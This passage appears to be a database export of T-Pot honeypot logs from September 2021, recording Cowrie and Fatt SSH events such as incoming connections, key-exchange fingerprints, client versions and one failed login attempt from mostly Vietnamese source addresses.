22716	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.236858+03	2021-09-20 14:15:06.5725+03	{"_id": "cAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "24b8d0efb722", "@version": "1", "timestamp": "2021-09-20T11:07:22.236858Z", "@timestamp": "2021-09-20T11:07:22.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22717	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.313988+03	2021-09-20 14:15:06.573501+03	{"_id": "cQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3a9028970e07", "@version": "1", "timestamp": "2021-09-20T11:07:22.313988Z", "@timestamp": "2021-09-20T11:07:22.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22718	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:22.642245+03	2021-09-20 14:15:06.575503+03	{"_id": "cgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "779eb8f4bb9e", "@version": "1", "duration": 2.791928291320801, "timestamp": "2021-09-20T11:07:22.642245Z", "@timestamp": "2021-09-20T11:07:22.642Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22719	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.704287+03	2021-09-20 14:15:06.576503+03	{"_id": "cwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a6e0715f685d", "@version": "1", "timestamp": "2021-09-20T11:07:22.704287Z", "@timestamp": "2021-09-20T11:07:22.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22727	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:23.498475+03	2021-09-20 14:15:06.5875+03	{"_id": "oAbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c3830fb13224", "@version": "1", "duration": 2.8648910522460938, "timestamp": "2021-09-20T11:07:23.498475Z", "@timestamp": "2021-09-20T11:07:23.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22722	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:23.35675+03	2021-09-20 14:15:06.5805+03	{"_id": "kwbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7228 (192.168.176.2:22) [session: d4bae04dbc31]", "session": "d4bae04dbc31", "@version": "1", "protocol": "ssh", "src_port": 7228, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.356750Z", "@timestamp": "2021-09-20T11:07:23.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22723	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:23.290353+03	2021-09-20 14:15:06.5815+03	{"_id": "nQbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45058, "timestamp": "2021-09-20T11:07:23.290353", "@timestamp": "2021-09-20T11:07:23.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22724	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:23.753619+03	2021-09-20 14:15:06.583505+03	{"_id": "ngbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52444, "timestamp": "2021-09-20T11:07:23.753619", "@timestamp": "2021-09-20T11:07:23.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22725	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:23.252639+03	2021-09-20 14:15:06.584503+03	{"_id": "jgbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [edwin/edwin] failed", "session": "3c55230f4ee9", "@version": "1", "password": "edwin", "username": "edwin", "timestamp": "2021-09-20T11:07:23.252639Z", "@timestamp": "2021-09-20T11:07:23.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22726	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:23.385414+03	2021-09-20 14:15:06.5865+03	{"_id": "mAbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d4bae04dbc31", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:23.385414Z", "@timestamp": "2021-09-20T11:07:23.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22728	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.56297+03	2021-09-20 14:15:06.5885+03	{"_id": "kAbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "034a2a98d6d7", "@version": "1", "duration": 2.4352409839630127, "timestamp": "2021-09-20T11:07:23.562970Z", "@timestamp": "2021-09-20T11:07:23.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22729	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:23.644474+03	2021-09-20 14:15:06.5895+03	{"_id": "oQbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d4bae04dbc31", "@version": "1", "timestamp": "2021-09-20T11:07:23.644474Z", "@timestamp": "2021-09-20T11:07:23.644Z", "t-pot_ip_ext": "109.199.241.180", 